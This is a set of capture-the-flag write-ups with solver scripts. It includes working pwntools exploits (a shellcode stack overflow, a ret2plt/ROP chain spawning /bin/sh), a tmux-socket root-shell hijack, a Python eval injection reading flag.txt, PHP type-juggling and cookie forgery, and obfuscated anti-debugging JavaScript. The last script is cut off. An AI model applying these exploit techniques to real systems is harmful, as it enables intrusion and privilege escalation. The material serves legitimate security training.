        'RsFHR': function(_0x5a9552, _0x34a4f2) {
            return _0x5a9552 + _0x34a4f2;
        },
        'zQrjS': function(_0x533fe7) {
            return _0x533fe7();
        }
    };
    _0x1baf97(this, function() {
        var _0x459fa1 = { //creates copy
            'xgOqS': "function *\( *\)",
            'YjWir': '\x5c+\x5c+\x20*(?:[a-zA-Z_$][0-9a-zA-Z_$]*)',
            'SvEXK': function(_0x5b2268, _0x20ad34) {
                return _0x5b2268(_0x20ad34);
            },
            'qVrbk': function(_0x4d1237, _0x4cd30e) {
                return _0x4d1237 + _0x4cd30e;
            },
            'IJxOL': "chain",
            'HitlB': function(_0x16d47a, _0x19706a) {
                return _0x16d47a + _0x19706a;
            },
            'WFmTt': "input",
            'zqUQj': function(_0x45146b, _0x15a3ad) {
                return _0x45146b(_0x15a3ad);
            },
            'JUtuV': function(_0x90fc88, _0x1f2352, _0x330dd0) {
                return _0x90fc88(_0x1f2352, _0x330dd0);
            }
        };
        if (true) { //actual code starts
            var _0x3db3a5 = new RegExp("function *\( *\)");
            var _0x4a74b1 = new RegExp('\+\+ *(?:[a-zA-Z_$][0-9a-zA-Z_$]*)','i');
            var _0x516a0a = _0x2d1069("init"); //cookie stuff
            if (!_0x3db3a5['test'](_0x516a0a + "chain") || !_0x4a74b1["test"](_0x516a0a + "input")) {
                _0x516a0a('0');
            } else {
                _0x2d1069;
            }
        } else { //ignore this
            _0x459fa1["JUtuV"](_0x1baf97, this, function() {
                var _0x14a11a = new RegExp(_0x459fa1['xgOqS']);
                var _0x5167c5 = new RegExp(_0x459fa1["YjWir"],'i');
                var _0x35294f = _0x459fa1['SvEXK'](_0x2d1069, "init");
                if (!_0x14a11a["test"](_0x459fa1["qVrbk"](_0x35294f, _0x459fa1["IJxOL"])) || !_0x5167c5['test'](_0x459fa1["HitlB"](_0x35294f, _0x459fa1["WFmTt"]))) {
                    _0x459fa1["zqUQj"](_0x35294f, '0');
                } else {
                    _0x2d1069();
                }
            })();
        }
    })();
}());
var _0x2ee600 = function() {
    var _0x495ac2 = {
        'atoNo': 'KOAwQ',
        'csaxQ': 'lCcHJ'
    };
    var _0x349c1f = !![];
    return function(_0x433e6d, _0x5e0022) {
        var _0x48c3bc = _0x349c1f ? function() {
            if (false) {//ignore
                if (_0x5e0022) {
                    var _0x161cc2 = _0x5e0022['apply'](_0x433e6d, arguments);
                    _0x5e0022 = null;
                    return _0x161cc2;
                }
            } else {//basically do same things
                if (_0x5e0022) {
                    var _0x60f4d3 = _0x5e0022["apply"](_0x433e6d, arguments);
                    _0x5e0022 = null;
                    return _0x60f4d3;
                }
            }
        }
        : function() {}
        ;
        _0x349c1f = ![];
        return _0x48c3bc;
    }
    ;
}();
var _0x45c586 = _0x2ee600(this, function() {
    var _0x173ec1 = {
        'YYNtE': function(_0x31edf7, _0x1a2a90) {
            return _0x31edf7 + _0x1a2a90;
        },
        'TBWQi': function(_0x50c5e2, _0x145a68) {
            return _0x50c5e2 + _0x145a68;
        },
        'AGQfu': '2|5|9|8|1|6|7|0|4|3',
        'NOBjn': "return /" + this + "/",
        'WFbnf': "^([^ ]+( +[^ ]+)+)+[^ ]}",
        'xRdYC': function(_0x28078a) {
            return _0x28078a();
        },
        'bYadT': function(_0x1edb6d, _0x41b276) {
            return _0x1edb6d === _0x41b276;
        },
        'inFDK': 'wPbVg',
        'peJbV': '4|1|5|7|6|3|2|0'
    };
    var _0x5a2bbc = function() {};
    var _0x16f724 = function() {
        var _0x47e403;
        try {
            _0x47e403 = Function('return (function() {}.constructor("return this")( ));')();
        } catch (_0x3b48f1) {
            _0x47e403 = window;
        }
        return _0x47e403;
    };
    var _0x2386f1 = _0x16f724();
    if (!_0x2386f1['console']) {
        _0x2386f1['console'] = function(_0x368eaa) {
            var _0x95093c = ["2", "5", "9", "8", "1", "6", "7", "0", "4", "3"];
            var _0x495f14 = 0x0;
            while (true) {
                switch (_0x95093c[_0x495f14++]) { //iterate throught this
                case '0':
                    _0xd80574["table"] = _0x368eaa;
                    continue;
                case '1':
                    _0xd80574["info"] = _0x368eaa;
                    continue;
                case '2':
                    var _0xd80574 = {};
                    continue;
                case '3':
                    return _0xd80574;
                case '4':
                    _0xd80574['trace'] = _0x368eaa;
                    continue;
                case '5':
                    _0xd80574["log"] = _0x368eaa;
                    continue;
                case '6':
                    _0xd80574["error"] = _0x368eaa;
                    continue;
                case '7':
                    _0xd80574["exception"] = _0x368eaa;
                    continue;
                case '8':
                    _0xd80574['debug'] = _0x368eaa;
                    continue;
                case '9':
                    _0xd80574["warn"] = _0x368eaa;
                    continue;
                }
                break;
            }
        }(_0x5a2bbc);
    } else {
        if (true) {
            var _0xd32090 = ["4", "1", "5", "7", "6", "3", "2", "0"];
            var _0x64c580 = 0x0;
            while (true) {
                switch (_0xd32090[_0x64c580++]) {//iterate through this using list
                case '0':
                    _0x2386f1['console']['trace'] = _0x5a2bbc;
                    continue;
                case '1':
                    _0x2386f1['console']["warn"] = _0x5a2bbc;
                    continue;
                case '2':
                    _0x2386f1['console']["table"] = _0x5a2bbc;
                    continue;
                case '3':
                    _0x2386f1['console']["exception"] = _0x5a2bbc;
                    continue;
                case '4':
                    _0x2386f1['console']["log"] = _0x5a2bbc;
                    continue;
                case '5':
                    _0x2386f1['console']["debug"] = _0x5a2bbc;
                    continue;
                case '6':
                    _0x2386f1['console']["error"] = _0x5a2bbc;
                    continue;
                case '7':
                    _0x2386f1['console']["info"] = _0x5a2bbc;
                    continue;
                }
                break;
            }
        } else {
            var _0x3e1b1b = test['constructor']("return /" + this + "/")()['compile']("^([^ ]+( +[^ ]+)+)+[^ ]}");
            return !_0x3e1b1b["test"](_0x27dfce);
        }
    }
});
_0x45c586();
var socket = io();
var bStart = document['getElementById']('bStart');
var cGame = document['getElementById']('cGame');
var pScore = document['getElementById']('pScore');
var score = 0x0;
var msg = '';
var shapes = [];
var ctx = cGame['getContext']('2d');
function update() {
    pScore['innerHTML'] = 'Score: ' + score + (msg ? ',\x20' : '') + msg;
}
function drawShapes() {
    ctx["clearRect"](0x0, 0x0, 0x1f4, 0x12c);
    shapes['map'](
        (_0x401a13,_0x53031c)=>_0x53031c ? ctx["fillRect"](_0x401a13['x'] - 0x5, _0x401a13['y'] - 0x5, 0xa, 0xa) 
        : ctx['beginPath']() + ctx["arc"](_0x401a13['x'], _0x401a13['y'], 0x5, 0x0, Math['PI'] * 0x2) + ctx["closePath"]() + ctx["fill"]()
        );
}
function getCursorPosition(_0x2b237a, _0x380ec8) {
    var _0x127ab4 = {
        'NhgpB': function(_0x3d88ae, _0x1d8777) {
            return _0x3d88ae - _0x1d8777;
        }
    };
    const _0x17e5d8 = _0x2b237a['getBoundingClientRect']();
    const _0x4a40e = _0x380ec8['clientX'] - _0x17e5d8['left'];//90.5
    const _0x1efa5e = _0x380ec8['clientY'] -  _0x17e5d8['top'];//246.96875
    return [_0x4a40e, _0x1efa5e];
}
bStart['addEventListener']('click', function() {
    var _0x1cd630 = {
        'GYjuS': "start"
    };
    socket['emit']("start");
});
socket['on']('disconnect', function() {
    var _0xf6eed5 = {
        'nKIjv': 'You\x20have\x20been\x20disconnected.',
        'dUhjz': function(_0x3ebbbf) {
            return _0x3ebbbf();
        }
    };
    msg = 'You\x20have\x20been\x20disconnected.';
    update();
});
socket['on']('score', function(_0x3576f2) {
    score = _0x3576f2;
    update();
});
socket['on']('disp', function(_0x522d36) {
    var _0x1fe455 = {
        'JPNpV': function(_0x31be72) {
            return _0x31be72();
        }
    };
    msg = _0x522d36;
    update();
});
socket['on']('shapes', function(_0x327b9d) {
    var _0x312e90 = {
        'NsgvL': function(_0x2c843a) {
            return _0x2c843a();
        }
    };
    shapes = _0x327b9d;
    drawShapes();
});
ctx['fillStyle'] = '#ff0000';
cGame['addEventListener']('click', function(mousedata) {
    var _0x3c1dc7 = {
        'CfuWJ': function(_0x5ea446, _0x41976a, _0x3e4576) {
            return _0x5ea446(_0x41976a, _0x3e4576);
        }
    };
    var _0x2f570f = getCursorPosition( cGame, mousedata);
    socket['emit']('click', _0x2f570f[0x0], _0x2f570f[0x1]);
});
function _0x2d1069(_0x36830f) {
    var _0x30ad20 = {
        'VStLo': 'HDgHF',
        'owlBu': function(_0x368ec1, _0xc0219e) {
            return _0x368ec1 === _0xc0219e;
        },
        'BiQoV': 'kfODI',
        'BVgPB': 'string',
        'EPpzm': 'AfAOS',
        'pXPFL': 'QrXhj',
        'aJAlu': "counter",
        'wyIUP': function(_0x117ee9, _0xdaeb77) {
            return _0x117ee9 + _0xdaeb77;
        },
        'XVQSP': function(_0x3c2d14, _0x47006) {
            return _0x3c2d14 / _0x47006;
        },
        'nVazA': 'length',
        'obezh': function(_0x19cb7e, _0x71f6ca) {
            return _0x19cb7e % _0x71f6ca;
        },
        'EJhsO': 'gger',
        'RHjXe': 'action',
        'PKkBh': function(_0x33e933, _0x115743) {
            return _0x33e933 !== _0x115743;
        },
        'vBfjr': 'ewwaA',
        'WvICz': 'xcJlq',
        'pxtCf': 'debu',
        'OZmQc': function(_0xdb7a71, _0x5eafb1) {
            return _0xdb7a71(_0x5eafb1);
        },
        'BfCJM': function(_0x2f3450) {
            return _0x2f3450();
        },
        'BQPaR': 'vQRtE'
    };
    function _0x17b7f6(_0x23c200) {
        if (typeof _0x23c200 === 'string') {//checks if string but has to be a number  so wont run
            if (false) {
                return !![]; //true
            } else { //actual
                return function(_0x12ba0e) {}
                ["constructor"]("while (true) {}")["apply"]("counter");
            }
        } else {
            if ((_0x23c200 % 0x14) === 0x0) { //checks if divisible by 20
                (function() {
                    if (false) {
                        return ![];
                    } else {
                        return !![]; //true
                    }
                }
                ["constructor"]('debugger')['call']("action"));
            } else {
                if (true) {
                    (function() {
                        if (false) {
                            ctx["clearRect"](0x0, 0x0, 0x1f4, 0x12c);
                            shapes["map"]((_0x16827f,_0x45d640)=>_0x45d640 ? ctx["fillRect"](_0x16827f['x'] - 0x5, _0x16827f['y'] - 0x5, 0xa, 0xa) : ctx["map"]() + ctx["arc"](_0x16827f['x'], _0x16827f['y'], 0x5, 0x0, Math['PI'] * 0x2) + ctx["closePath"]() + ctx["fill"]());
                        } else {
                            return ![]; //false
                        }
                    }
                    ["constructor"]("debugger")["apply"]('stateObject'));
                } else {
                    return _0x17b7f6;
                }
            }
        }
        _0x17b7f6(++_0x23c200);
    }
    try {
        if (_0x36830f) {
            if (true) {
                return _0x17b7f6;
            } else {
                score = sc;
                update();
            }
        } else {
            _0x17b7f6(0x0);
        }
    } catch (_0x1185a1) {}
}

Revving up

Go to the place where the file is and run it, then it asks you to do it with banana as an argument, then do ./revving_up "banana" and do what it says

actf{g3tting_4_h4ng_0f_l1nux_4nd_b4sh}

Signal_of_hope

Open program in cutter and disassemble main

call    signal     ; sym.imp.signal ; void signal(int sig, void *func)

Looking at "linux 7 signal" - we see a load, so I bruteforced them all until one worked - found it was SIGABRT This means that we need to kill the program , or abort it Spinning it up on the shell, we have to do

sh -c 'echo $$; exec myCommand'

Which gives up the PID of the program and then runs it Open up a new shell, and do "kill -6 PID" Bam!

actf{h0p3_c4nn0t_m3nd_th3_p41n_th4t_y0uv3_c4us3d_m3}

Flag-SP Network

2 byte key, we can feasibly bruteforce. All that's left to do is write a decrypt function.

Flag: flag{i_guess_2_bytes_wasnt_enough_after_all}

import random

rounds = 5
block_size = 8

invsa = {
  0: 1,
  1: 13,
  2: 14,
  3: 9,
  4: 3,
  5: 6,
  6: 5,
  7: 4,
  8: 8,
  9: 10,
  10: 7,
  11: 2,
  12: 12,
  13: 0,
  14: 15,
  15: 11
}

invsb = {
  0: 3,
  1: 11,
  2: 4,
  3: 10,
  4: 9,
  5: 1,
  6: 2,
  7: 8,
  8: 13,
  9: 0,
  10: 6,
  11: 7,
  12: 15,
  13: 12,
  14: 5,
  15: 14
}
key = [47, 16, 47, 16, 47, 16, 47, 16]


to_bin = lambda x, n=block_size: format(x, "b").zfill(n)
to_int = lambda x: int(x, 2)
to_chr = lambda x: "".join([chr(i) for i in x])
to_ord = lambda x: [ord(i) for i in x]
bin_join = lambda x, n=int(block_size / 2): (str(x[0]).zfill(n) + str(x[1]).zfill(n))
bin_split = lambda x: (x[0 : int(block_size / 2)], x[int(block_size / 2) :])
str_split = lambda x: [x[i : i + block_size] for i in range(0, len(x), block_size)]
xor = lambda x, y: x ^ y

def sinv(a, b):
    return invsa[a], invsb[b]

def pinv(a):
    return a[2] + a[5] + a[0] + a[5] + a[1] + a[7] + a[6] + a[4]

def ks(k):
    return [
        k[i : i + int(block_size)] + k[0 : (i + block_size) - len(k)]
        for i in range(rounds)
    ]


def kx(state, k):
    return [xor(state[i], k[i]) for i in range(len(state))]


def eee(i):
  a, b = bin_split(to_bin(ord(i)))
  sa, sb = s(to_int(a), to_int(b))
  pe = p(
            bin_join((to_bin(sa, int(block_size / 2)), to_bin(sb, int(block_size / 2))))
        )
  return to_int(pe)

def dec(ct):
  decrypted = []
  for i in ct:
    for pt in range(256):
      if eee(chr(pt)) == ord(i):
        decrypted.append(pt)
  return decrypted

def decrypt(ct,k):
  keys = ks(k)
  state = str_split(ct)
  for b in range(len(state)):
    for i in range(rounds):
      rk = dec((state[b]))
      state[b] = to_chr(kx((rk), keys[i])) # xor with key
    print(state[b])
  return [ord(e) for es in state for e in es]
ct = to_str([63, 253, 213, 105, 250, 191, 55, 105, 226, 221, 223, 55, 55, 56, 55, 82, 146, 243, 159, 55, 55, 135, 213, 55, 94, 243, 55, 221, 94, 57, 226, 105, 196, 30, 213, 240, 91, 221, 152, 30, 213, 253, 37, 128])
print(decrypt(ct,key))

Alice and Bob

uh blinding attack? i think?

flag: flag{schoolhouse_crypto_with_our_favorite_characters}

pow(2,d,n) = 6988657481551558082247356502049073555445834960458123409957016751759848663748957581745765821251560463116160058343877506687308278177291145929388813582775374779608479102031123070130884836405070747154679986845156643241478440121477925138458904221698167029178546870148776935453953443880872009172082519317501149012455829269460844949849248020656483858589254435455075272473746709134180160158806676630015405416208672802814910130080253447731590299483535693930068012996241754780781956591655213569734780947677248231246527075795680938730043262907407842607229576669856011494756829604513528777334097324387135227622403213595884626182

Sea Shells

The binary prints the address of our input, then uses read to read input into it. There's 16 bytes of buffer overflow, letting us overwrite rbp and the return address only. As NX is off and our input is on the stack, we can just set the return address to our input, and then put shellcode in our input. After popping a shell, we cat flag.txt to get the flag.

Flag: flag{popping_shells_by_the_sea_shore}

from pwn import *
context.arch = 'amd64'
e = ELF("./seashells")
p = e.process() if args.LOCAL else remote('challenge.ctf.games', 32134)
addr = int(p.recvline(),16)
p.recvuntil(":")
sc = asm(shellcraft.amd64.linux.sh())
payload = fit({0: sc, 0x88: addr})
p.sendline(payload)
p.interactive()

Patches

The binary comes with a libc and ld. As the title, description and even text of the binary suggests, the libc is patched. I patched the ELF file so that it would always run with this ld and libc, even on my local end.

patchelf --set-rpath './' ./patches
patchelf --set-interpreter './ld-2.27.so' ./patches

The binary prints some stuff using puts, calls printf("> ") and then calls gets on rbp-0x80.

This creates a buffer overflow. With NX on this time, it'll be a little more difficult. We can execute a classic ret2plt attack, retting into puts@plt(no PIE) to print out puts@got, creating a libc leak. Things are a little harder as the libc is patched. There's no /bin/sh in it, presumably the system doesn't work properly. We talked about this in the Statics and Dynamics writeup from HacktivityCon CTF - with so much code, libc is a ROP gadget gold mine. So once we've used ret2plt to leak the libc base, we can just use ROP to build a chain that uses syscalls to pop a shell.

Note that due to stack alignment we'll need to use a return gadget before returning back into main, and also I chose the instruction at 0x40123c(which is part of main) for convenience.

We can use the pwntools ROP functionality to build a nice and simple ROP chain that reads data into a writeable section, then uses execve(execve(section,NULL,NULL) specifically). Afterwards, we'll send /bin/sh which will get written to said writeable section, thus the total payload will pop a shell.

Flag: flag{no_one_gadget_this_time_wait_no_binsh_at_all?}

from pwn import *
NUM_TO_RBP = 0x80
fakestack = 0x404500
padding = b'A'*NUM_TO_RBP + p64(fakestack)
context.arch = 'amd64'
e = ELF("./patches")
libc = e.libc
p = e.process() if args.LOCAL else remote('challenge.ctf.games', 30585)
p.recvuntil('> ')
rop = ROP(e)
#ret2plt libc leak
poprdi = rop.find_gadget(['pop rdi','ret']).address
retgadget = rop.find_gadget(['ret']).address
chain = flat(poprdi, e.got['puts'],e.plt['puts'],retgadget,0x000000000040123c)
pause()
p.sendline(padding + chain)
leak = p.recvline()[:-1].ljust(8,b'\x00')
puts = u64(leak)
log.info(f"Libc leak: {hex(puts)}")
libcbase = puts - libc.symbols['puts']
libc.address = libcbase
log.info(f"Libc base: {hex(libcbase)}")
# Build rop chain to read into RW section, then execve
rop2 = ROP(libc)
rop2.read(0,0x404300,8)
rop2.execve(0x404300,0,0)
payload = padding + rop2.chain()
p.sendline(payload)
p.send(b'/bin/sh\x00')
p.interactive()

Mercury

good ol' strings + grep

Flag: flag{version_control_for_the_solar_system}

Tea-mix

The name hinted towards tmux, which was confirmed by session files for tmux in /tmp; including /tmp/tmux-0/tea_mix (root's session) We have permission toy read the socket file, meaning we can attach to the tmux session.

export TERM=xterm
set tty rows/cols to your own terminal
tmux -S /tmp/tmux-0/tea_mix
root shell
cat /root/flag.txt

Flag: flag{oooohhhh_tea_mix_sounds_like_tmux_i_get_it}

Swipe

Download 'swipe', it's a vim swap file

So create /tmp/swipe folder, move the swap to /tmp/swipe/.flag.png.swp

vim flag.png , will offer to recover file

inside is a png

extract png with dd if=flag.png of=flag2.png bs=1 skip=889

scan qr code in it

boom

Flag:flag{swipe_right_on_vim_swap_soisoisoisoisoi}

Maelstrom

Mersenne prime XOR

flag: flag{more_primes_more_good}

Mobility

Used apkstudio, had a look in MainActivity.smali, saw an array which seemed to have chars in the ascii range, so decoded those and got the flag.

Flag: flag{classic_apk_decompile_shenanigans}

Robot Takeover

url= "http://challenge.ctf.games:31879/robots.txt"
aurl= "http://challenge.ctf.games:31879/"
import urllib.request

def get(url, ua):
  req = urllib.request.Request(
    url,
    data=None,
    headers={
        'User-Agent': ua
    }
  )
  return req

flag = ["" for i in range(35)]
while "" in flag:
  with urllib.request.urlopen(url) as response:
     html = response.read()
     lines = html.decode().split("\n")
     for line in lines:
       if "User-agent:" in line:
         ua = line[12:]
       if "Disallow: " in line:
         thing = line[10:]
         theurl = aurl + thing
         req = get(theurl,ua)
         with urllib.request.urlopen(req) as response:
           resp = response.read().decode()
           if "REJOICE" in resp:
             print(resp, line)
             thonk = resp.split("INDEX ")
             filename = thing[1:]
             a1 = int(thonk[1].split(" IS")[0])
             a2 = int(thonk[2].split(" IN")[0])
             flag[a1] = filename[a2]
             print(flag)

print("".join(flag))

Amnesia

Download file, run volatility for profile, install chromehistory plugin, run it on file and flag.

Flag: flag{forensic_cookie_huntet}

Exodia

XOR with key THEFORBIDDENONE

Flag: flag{exodia_knows_xor_but_you_are_even_more_powerful}

Spy Cam

Open the pcap in wireshark, some TCP packets have a long length. Once converting the hexdump of these to an image, you'll eventually get the flag of:

Flag: flag{i_spy_with_my_little_eye}

Flushed Revenge

Run script then profit

from pwn import *
import string

def recvline(r):
    lines = [r.recvline().decode()[1:] for _ in range(8)]
    chunks = [[l[i:i+6] for i in range(0, len(l), 7)] for l in lines]
    chars = list(zip(*chunks))
    return chars

def recvall(r, timeout=1):
    while i := r.recvline(timeout=timeout).decode():
        pass

mapping = {}

with remote('challenge.ctf.games', 30877) as r:
    recvall(r, timeout=5)
    for c in string.ascii_letters + string.digits + '+=/':
        r.sendline(c)
        r.recvline()
        result = recvline(r)[0]
        mapping[result] = c
        print(c, '\n'.join(result), sep='\n')
        recvall(r)
    r.sendline('base64 flag.png')
    r.recvline()
    with open('b64flag.hd', 'w') as f:
        while True:
            for i in recvline(r):
                print('\n'.join(i))
                result = mapping.get(i, ' ')
                f.write(result)

Secret Romance

Zip password of bonfire, use steghide to get flag of:

Flag:flag{the_night_circus}

Alternatively, Le Cirque des Rêves translates to the night circus, which is the flag.

Fancy Caesar

Didn't even look at the script but since the ciphertext is an array, we can guess that the flag is encrypted byte by byte. We bruteforce all 128 (or so) bytes and then get the flag. We also have to rot13 the flag before we get the actual flag.

Flag: flag{meta_flag_is_meta}

Patchwork Quilt

We're provided with a download of the VScode source code, slightly modified. The name hinted at a patch happening, so I ran git diff and found a 'backdoor' leading to congonator.me/?id=ZmxhZ3tkb250X3RydXN0X2RvZGd5X2Rvd25sb2Fkc30%3D&key= when a key was pressed. I just decoded the id paramater, which revealed the flag.

flag{dont_trust_dodgy_downloads}

Kiddie Pool

I personally used an angle of 900% which gave me the flag perfectly readably.

Flag:flag{whirlpool_in_a_cinch}

We simply need to unswirl this image, using a site such as

https://www.photo-kako.com/en/swirl.cgi

Reggae

Now we didn't actually solve this, due to instability with the challenge. But we came up with a script that seemed to be working well before the instance died:

from pwn import *
import random

regex1 = [str(i) for i in range(100, 1000)]
regex2 = [i * 5 for i in 'abcdefghijklmnop']
regex3 = ['1.' + '1'*i for i in range(1, 1000)]
regex4 = ['+' + '1'*i for i in range(3, 1000)]
regex5 = ['<' + 'a'*i + '>' for i in range(1, 1000)]
regex6 = [f'0{i}:{j}' for i in range(10) for j in range(60)]
regex7 = [f'1{i}-01-{j}' for i in range(100, 1000) for j in range(10, 30)]
regex8 = ['a'*i + '@a.com' for i in range(1, 200)]
regex9 = ['https://www.youtube.com/channel/UC' + i + j + 20*k + '/' for i in 'abcdefghijklmnopq' for j in 'abcdefghijklmnopq' for k in 'abcdefghijklmnopq']
regexA = [' '.join(['.....']*i) for i in range(1, 200)]
regexB = ['1.1.1.' + str(i) for i in range(256)]
regexC = ['0'*i for i in range(1, 100)]
regexD = ['00' + '::'*i for i in range(1, 200)]

r = remote("challenge.ctf.games", 30811)
while True:
    r.recvuntil('?\n')
    regex = r.recvline().strip().decode()

    if regex == '^\d{3}$':
        pwned = regex1.pop()
    elif regex == '^\w{5}$':
        pwned = regex2.pop()
    elif regex == '^\d*\.\d+$':
        pwned = regex3.pop()
    elif regex == '^\+?(\d.*){3,}$':
        pwned = regex4.pop()
    elif regex == '<\/?[\w\s]*>|<.+[\W]>':
        pwned = regex5.pop()
    elif regex == '^(0?[1-9]|1[0-2]):[0-5][0-9]$':
        pwned = regex6.pop()
    elif regex == '([12]\d{3}-(0[1-9]|1[0-2])-(0[1-9]|[12]\d|3[01]))':
        pwned = regex7.pop()
    elif regex == '^([a-zA-Z0-9._%-]+@[a-zA-Z0-9.-]+\.[a-zA-Z]{2,6})*$':
        pwned = regex8.pop()
    elif regex == 'https?:\/\/(www\.)?youtube.com\/channel\/UC([-_a-z0-9]{22})/':
        pwned = regex9.pop()
    elif regex == '^[.-]{1,5}(?:[ \\t]+[.-]{1,5})*(?:[ \\t]+[.-]{1,5}(?:[ \\t]+[.-]{1,5})*)*$':
        pwned = regexA.pop()
    elif regex == '^(([0-9]|[1-9][0-9]|1[0-9]{2}|2[0-4][0-9]|25[0-5])\.){3}([0-9]|[1-9][0-9]|1[0-9]{2}|2[0-4][0-9]|25[0-5])$':
        pwned = regexB.pop()
    elif regex == r'^(?:(?:\(?(?:00|\+)([1-4]\d\d|[1-9]\d?)\)?)?[\-\.\ \\\/]?)?((?:\(?\d{1,}\)?[\-\.\ \\\/]?){0,})(?:[\-\.\ \\\/]?(?:#|ext\.?|extension|x)[\-\.\ \\\/]?(\d+))?$':
        pwned = regexC.pop()
    elif regex == r'(([0-9a-fA-F]{1,4}:){7,7}[0-9a-fA-F]{1,4}|([0-9a-fA-F]{1,4}:){1,7}:|([0-9a-fA-F]{1,4}:){1,6}:[0-9a-fA-F]{1,4}|([0-9a-fA-F]{1,4}:){1,5}(:[0-9a-fA-F]{1,4}){1,2}|([0-9a-fA-F]{1,4}:){1,4}(:[0-9a-fA-F]{1,4}){1,3}|([0-9a-fA-F]{1,4}:){1,3}(:[0-9a-fA-F]{1,4}){1,4}|([0-9a-fA-F]{1,4}:){1,2}(:[0-9a-fA-F]{1,4}){1,5}|[0-9a-fA-F]{1,4}:((:[0-9a-fA-F]{1,4}){1,6})|:((:[0-9a-fA-F]{1,4}){1,7}|:)|fe80:(:[0-9a-fA-F]{0,4}){0,4}%[0-9a-zA-Z]{1,}|::(ffff(:0{1,4}){0,1}:){0,1}((25[0-5]|(2[0-4]|1{0,1}[0-9]){0,1}[0-9])\.){3,3}(25[0-5]|(2[0-4]|1{0,1}[0-9]){0,1}[0-9])|([0-9a-fA-F]{1,4}:){1,4}:((25[0-5]|(2[0-4]|1{0,1}[0-9]){0,1}[0-9])\.){3,3}(25[0-5]|(2[0-4]|1{0,1}[0-9]){0,1}[0-9]))':
        pwned = regexD.pop()
    else:
        print(f"Error couldn't find valid regex for {regex}")

    log.success("Regex: " + regex)
    log.success("Generated: " + pwned)

    r.recvuntil('> ')
    r.sendline(pwned)

Give Up

typing exit in the terminal does this

bash-4.4$ exit

exit
exit
3338241147603780238248786938107867350016489922013403739812786768782254742117160331044416747901

not sure why

then running long to bytes on the number reveals the flag

Flag:flag{sometimes_it_is_best_to_step_away}

Baseball

legit cat the file cyber chef go brrr

Flag:flag{wow_you_hit_a_homerun_and_really_ran_the_bases_there}

)

https://gchq.github.io/CyberChef/#recipe=From_Base64('A-Za-z0-9%2B/%3D',true)From_Base32('A-Z2-7%3D',false)From_Base58('123456789ABCDEFGHJKLMNPQRSTUVWXYZabcdefghijkmnopqrstuvwxyz',false

Clown Show

/src.php has source for the site. We can send a few params, which are hashed together and the result (chars 5-25) are compared to '0' (using ==). In php, this is vulnerable to type juggling. 0e1434 == '0' for example. We simply have to find a set of values satisfying these constraints.

import hashlib

def hash(string):
    return hashlib.sha256(string).hexdigest()

time = b"12345678901"
name = b"test"
import os, binascii
import re
while True:
    answer = binascii.hexlify(os.urandom(20))
    thing = hash(name + answer + time)
    if len(re.findall('^(.{5}0e[\d]{18})', thing)) > 0:
        print(re.findall('^.....0e\d{18}', thing))
        print(name + b" " + answer + b" " + time)
        print(thing)
        exit()

Flag:flag{w00t_W0ot_juggl1n6_1s_2_3z}

curl -d 'name=test&answer=6b067ebdb712e42e64e6dcaeb6513afd0f801bfc&time=12345678901'

http://challenge.ctf.games:31965/index.php

Where's The Body

Flag: flag{yellow_is_the_imp0ster}

go to sitemap.xml, b64 decode then b58 decode

https://gchq.github.io/CyberChef/#recipe=From_Base64('A-Za-z0-9%2B/%3D',true)From_Base58('123456789ABCDEFGHJKLMNPQRSTUVWXYZabcdefghijkmnopqrstuvwxyz',false)&input=TWpRMmIzWndZbEV5WmxCUmMyNWFlRFk0WlhKMU4zTkljSHBvYVVFemFHcDFaRlI0V25KciA

Dimension 0

Flag: flag{stego_from_the_zero_width_dimension}

Unicode steg,

https://330k.github.io/misc_tools/unicode_steganography.html

Y2K

int(eval(compile('print open("flag.txt", "r").readlines()', '<string>', 'exec')) or 0)

go brrrrr

Flag:flag{we_are_saved_from_py2_k}

Saving The World

Download the file, convert the black numbers on the image to alphabet characters, then shift by 13, there's a password (twellicklosescto), use that on steghide, flag.

Flag:flag{take_care_of_whiterose}

Play The Harp

This was kinda guessy imo but anyway

strings harp.jpg | less

then i scrolled loads hoping i would see something good and found a long list of chars:

HDNR6GFf
6LLIJK9l
18NL1HWa
GCU85U5g
RQ9CGTH{
T47Y9SUt
2SKZJOBh
H06K09Ze
3BWV54X_
C1VY4EIh
GO0DK9Ua
ZZLVBMZr
8CK8FTGp
TNDQURH_
CEHGS41i

like this but longer, looking at the last char we assemble the flag together

flag: flag{the_harp_instrument_has_vertical_strings}

Ez Bake Oven

So you have an ez bake oven, go to the cookies tab and start baking.

after this, decode the base 64 of the cookie, and then edit it to a date that has passed over 5 days ago, make sure to use mm/dd/yyyy format, then base64 encode this, and then change the cookie for the site to your new base64 encoded cookie.

Flag: flag{you_are_the_master_baker}

One Line Crypto

bruteforce X using m counting down

candidates = set()

x = 1
m = 160
while True:
    while (x**(m+1) - (x+1)**m).bit_length() < 1023:
        x += 1
    while (num := x**(m+1) - (x+1)**m).bit_length() < 1026:
        if isPrime(num):
            for i in candidates:
                if min(i, num) < max(i, num) < min(i, num) << 3 and (i*num).bit_length() == 2048:
                    phi = (i-1)*(num-1)
                    d = inverse(0x10001, phi)
                    pt = pow(flag, d, i*num)
                    try:
                        print(long_to_bytes(pt).decode())
                        quit()
                    except Exception:
                        pass
            candidates.add(num)                                                                                                                                                                         
        x += 1                                                                                                     
    m -= 1

Scouting

You can inspect packets using tcpdump and find the domain covidfunds.net, OR you can step through the program in the debugger, notice the string Y292aWRmdW5kcy5uZXQ= getting base64 decoded, base64 decode it yourself and you will find it decodes to covidfunds.net

Gambler

So the encryption calculates x^3 + ax + b mod p. Initially, we don't know a, b, or p, but we can encrypt arbitrary messages and get the encryption of the flag.

So, how do we leak values with this? First of all, we encrypt 0 - the equation will equate to b.

Next, we encrypt 1 - the equation will be 1 + a + b, so subtract b and subtract 1 to get a, or some value that equates to a mod p.

Finally, we must leak p. This is simple, continue encrypting small messages and also encrypting them ourselves with the calculated a and b values. Eventually, we'll find that our calculated value is different to the value returned - from there, we work out the modulus that would require both of the values to be equal. In my case, my calculated value was negative and the value returned by the server was positive so adding the absolute values returned the modulus.

This gives us the equation x^3 + ax + b mod p = c where we know a,b, and c. From there I got maf slave rak to solve the equation using sage :P

Flag: CCTF{GerolamoCardano_4N_itaLi4N_p0lYma7H}

No script because I did it all manually in a python prompt but here have my PoW solver

from Crypto.Util.number import *

import os,hashlib,itertools
os.environ['PWNLIB_NOTERM'] = '1'

from pwn import *
from string import printable
printable = list(printable)
printable.remove('\n')
printable.remove('\x0b')
printable.remove('\x0c')
printable.remove('\t')
printable.remove(' ')
def powbuster(method,target,length):
    hash = eval(f"hashlib.{method}")
    for possible in itertools.combinations(printable,length):
        possible = ''.join(possible).encode()
        val = hash(possible).hexdigest()[-6:]
        if val == target:
